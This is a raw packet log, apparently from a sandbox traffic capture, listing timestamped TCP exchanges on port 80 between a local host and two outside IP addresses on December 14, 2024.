Dec 14, 2024 14:56:33.099706888 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.099776983 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.099844933 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.101025105 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.101207018 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.101636887 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.102153063 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.102207899 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.102420092 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.103478909 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.103616953 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.103692055 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.104846954 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.105077028 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.105160952 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.105824947 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.105952024 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.105953932 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.106981039 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.107034922 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.107057095 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.108036995 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.108118057 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.108129978 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.109181881 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.109240055 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.109297991 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.110378027 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.110479116 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.110544920 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.111531973 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.111649036 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.111720085 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.112720966 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.112771034 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.112870932 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.113914013 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.113979101 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.114025116 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.115080118 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.115202904 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.115236998 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.116297960 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.116400003 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.116482973 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.117470980 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.117609978 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.117852926 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.118684053 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.118767977 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.118838072 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.119841099 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.119909048 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.119947910 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.121038914 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.121093988 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.121119976 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.122201920 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.122245073 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.122304916 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.123400927 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.123508930 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.123595953 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.124581099 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.124650955 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.124936104 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.125817060 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.125880003 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.125900030 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.126954079 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.127049923 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.127106905 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.128134966 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.128236055 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.128318071 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.129302979 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.129371881 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.129417896 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.130589962 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.130712032 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.130748034 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.131870985 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.131968021 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.132031918 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.132921934 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.133030891 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.133053064 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.134040117 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.134099007 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.134131908 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.135215998 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.135330915 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.136409044 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.136454105 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.136514902 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.137607098 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.137665033 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.137691975 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.138755083 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.138820887 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.138880014 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.139935017 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.140027046 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.140088081 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.141555071 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.141607046 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.141645908 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.142394066 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.142478943 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.142546892 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.143524885 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.143641949 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.143707991 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.144680977 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.144845009 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.144853115 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.145875931 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.145929098 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.146105051 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.147063971 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.147129059 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.147347927 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.174859047 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.174870014 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.174997091 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.175021887 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.175019979 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.175035000 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.175043106 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.175070047 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.175090075 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.175540924 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.176090956 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.176100969 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.176135063 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.176148891 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.176631927 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.176642895 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.176692963 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.176932096 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.177027941 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.177061081 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.177074909 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.178016901 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.178181887 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.178229094 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.179136038 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.179188967 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.179246902 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.180263996 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.180311918 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.180325031 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.180361986 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.181360006 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.181406975 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.181478024 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.181515932 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.182482004 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.182578087 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.182622910 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.182677031 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.183579922 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.183685064 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.183785915 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.184708118 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.184827089 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.184876919 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.185827017 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.185873032 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.185941935 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.186064005 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.186961889 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.187051058 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.187167883 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.188055992 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.188114882 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.188133001 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.188261986 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.189182043 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.189270020 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.189297915 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.189311028 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.190272093 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.190315008 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.190362930 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.190398932 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.191404104 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.191414118 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.191497087 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.192548037 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.192590952 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.192617893 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.192673922 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.193641901 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.193682909 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.193741083 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.193777084 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.194746971 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.194880009 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.194993973 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.195895910 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.195941925 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.196023941 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.196301937 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.196963072 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.197077036 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.197102070 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.197115898 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.198064089 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.198174000 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.198198080 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.198803902 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.199213982 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.199378014 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.199413061 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.200326920 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.200428009 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.200464010 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.201409101 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.201498032 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.201530933 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.202522039 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.202594995 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.202629089 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.203639984 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.203681946 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.203707933 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.203780890 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.211630106 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.211693048 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.211795092 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.212244987 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.212254047 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.212296009 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.212308884 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.213329077 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.213515043 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.213577986 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.213866949 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.213877916 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.213906050 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.214322090 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.214378119 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.214396000 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.214432001 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.215466022 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.215557098 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.215600967 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.216522932 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.216567993 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.216574907 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.216618061 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.217637062 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.217679977 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.217745066 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.217781067 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.218739033 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.218780041 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.218789101 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.218831062 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.220957994 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.221046925 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.222265959 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.222317934 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.223737955 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.223747969 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.223757029 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.223767996 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.223792076 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.223828077 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.224436045 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.224487066 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.224611044 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.225522041 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.225577116 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.225858927 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.226752043 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.226756096 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.226927996 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.226933956 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.226998091 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.227853060 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.227863073 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.227905989 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.228961945 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.228971958 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.229017019 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.230114937 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.230124950 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.230288029 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.231204987 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.231219053 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.231251955 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.231266022 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.232289076 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.232469082 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.232511044 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.233388901 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.233429909 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.233578920 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.233721972 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.234477997 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.234519958 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.234663010 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.235589027 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.235630989 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.235764980 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.236032963 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.236699104 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.236738920 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.292464972 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.292478085 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.292784929 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.292794943 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.292803049 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.293015957 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.293580055 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.293589115 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.293781996 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.294161081 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.294270039 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.294714928 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.295346975 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.295475960 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.295567036 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.296544075 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.296648026 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.296716928 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.297729969 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.297786951 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.297791958 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.298892021 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.298955917 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.299220085 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.300090075 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.300189018 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.300256014 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.301278114 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.301352024 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.301422119 CET	49888	80	192.168.2.5	185.81.68.147
